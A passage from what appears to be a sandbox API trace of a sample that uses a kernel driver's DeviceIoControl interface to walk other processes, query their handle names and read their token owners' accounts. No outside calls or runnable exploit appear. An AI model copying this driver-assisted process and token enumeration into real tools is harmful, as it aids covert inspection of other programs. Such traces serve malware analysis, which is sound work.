ReturnLength=0xfffff88005473508) returned 0x0 [0137.889] ObfDereferenceObject (Object=0xfffffa8002117190) returned 0x1 [0137.889] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.890] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.890] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.890] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.890] PsAcquireProcessExitSynchronization () returned 0x0 [0137.890] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054735d0) [0137.890] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.890] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.890] PsReleaseProcessExitSynchronization () returned 0x2 [0137.890] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0137.890] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.890] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.890] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.890] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.890] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb30) returned 0xc0 [0137.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.890] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002098890, HandleInformation=0x0) returned 0x0 [0137.890] ObOpenObjectByPointer (in: Object=0xfffffa8002098890, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.890] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x12 [0137.890] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.890] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.890] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.890] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.890] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.892] CloseHandle (hObject=0xc8) returned 1 [0137.892] CloseHandle (hObject=0xc0) returned 1 [0137.892] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.892] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.892] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.892] PsAcquireProcessExitSynchronization () returned 0x0 [0137.892] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054735d0) [0137.892] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020b0a80, HandleInformation=0x0) returned 0x0 [0137.892] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.892] PsReleaseProcessExitSynchronization () returned 0x2 [0137.892] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0137.892] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.892] ObfDereferenceObject (Object=0xfffffa80020b0a80) returned 0x1 [0137.892] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.892] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.892] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.892] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0137.892] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.892] PsAcquireProcessExitSynchronization () returned 0x0 [0137.892] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054735d0) [0137.892] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020b0330, HandleInformation=0x0) returned 0x0 [0137.893] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.893] PsReleaseProcessExitSynchronization () returned 0x2 [0137.893] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0137.893] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.893] ObfDereferenceObject (Object=0xfffffa80020b0330) returned 0x1 [0137.893] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.893] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.893] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.893] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.893] PsAcquireProcessExitSynchronization () returned 0x0 [0137.893] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054735d0) [0137.893] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.893] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.893] PsReleaseProcessExitSynchronization () returned 0x2 [0137.893] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0137.893] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.893] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.893] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.893] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.893] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb40) returned 0xc0 [0137.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.893] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800212ab30, HandleInformation=0x0) returned 0x0 [0137.893] ObOpenObjectByPointer (in: Object=0xfffffa800212ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.893] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x12 [0137.893] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.893] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.893] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.893] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.894] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.895] CloseHandle (hObject=0xc8) returned 1 [0137.895] CloseHandle (hObject=0xc0) returned 1 [0137.895] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.895] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.895] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.895] PsAcquireProcessExitSynchronization () returned 0x0 [0137.895] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0) [0137.895] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020d6a20, HandleInformation=0x0) returned 0x0 [0137.895] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.895] PsReleaseProcessExitSynchronization () returned 0x2 [0137.895] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0137.895] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.895] ObfDereferenceObject (Object=0xfffffa80020d6a20) returned 0x1 [0137.895] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.895] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.895] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.895] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0137.895] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.895] PsAcquireProcessExitSynchronization () returned 0x0 [0137.896] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0) [0137.896] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020e47d0, HandleInformation=0x0) returned 0x0 [0137.896] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.896] PsReleaseProcessExitSynchronization () returned 0x2 [0137.896] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0137.896] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.896] ObfDereferenceObject (Object=0xfffffa80020e47d0) returned 0x1 [0137.896] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.896] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.896] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.896] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.896] PsAcquireProcessExitSynchronization () returned 0x0 [0137.896] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0) [0137.896] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.896] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.896] PsReleaseProcessExitSynchronization () returned 0x2 [0137.896] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0137.896] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.896] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.896] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.896] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.896] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.896] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.896] PsAcquireProcessExitSynchronization () returned 0x0 [0137.896] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0) [0137.896] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002164d10, HandleInformation=0x0) returned 0x0 [0137.896] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.896] PsReleaseProcessExitSynchronization () returned 0x2 [0137.896] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0137.896] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.896] ObfDereferenceObject (Object=0xfffffa8002164d10) returned 0x1 [0137.896] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.897] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.897] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.897] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.897] PsAcquireProcessExitSynchronization () returned 0x0 [0137.897] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054735d0) [0137.897] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020d7960, HandleInformation=0x0) returned 0x0 [0137.897] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.897] PsReleaseProcessExitSynchronization () returned 0x2 [0137.897] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0137.897] ObQueryNameString (in: Object=0xfffff8a0020d7960, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.897] ObfDereferenceObject (Object=0xfffff8a0020d7960) returned 0x1 [0137.897] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.897] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb5c) returned 0xc0 [0137.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.897] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002144060, HandleInformation=0x0) returned 0x0 [0137.897] ObOpenObjectByPointer (in: Object=0xfffffa8002144060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.897] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x12 [0137.897] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.897] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.897] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.897] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.897] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.899] CloseHandle (hObject=0xc8) returned 1 [0137.899] CloseHandle (hObject=0xc0) returned 1 [0137.899] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.899] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.899] PsAcquireProcessExitSynchronization () returned 0x0 [0137.899] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0) [0137.899] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f98070, HandleInformation=0x0) returned 0x0 [0137.899] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.899] PsReleaseProcessExitSynchronization () returned 0x2 [0137.899] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0137.899] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.899] ObfDereferenceObject (Object=0xfffffa8001f98070) returned 0x1 [0137.899] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.899] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.899] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0137.899] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.899] PsAcquireProcessExitSynchronization () returned 0x0 [0137.899] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0) [0137.899] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002150790, HandleInformation=0x0) returned 0x0 [0137.899] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.899] PsReleaseProcessExitSynchronization () returned 0x2 [0137.899] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0137.899] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.899] ObfDereferenceObject (Object=0xfffffa8002150790) returned 0x1 [0137.900] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.900] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.900] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.900] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.900] PsAcquireProcessExitSynchronization () returned 0x0 [0137.900] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0) [0137.900] ObReferenceObjectByHandle (in: Handle=0x64, 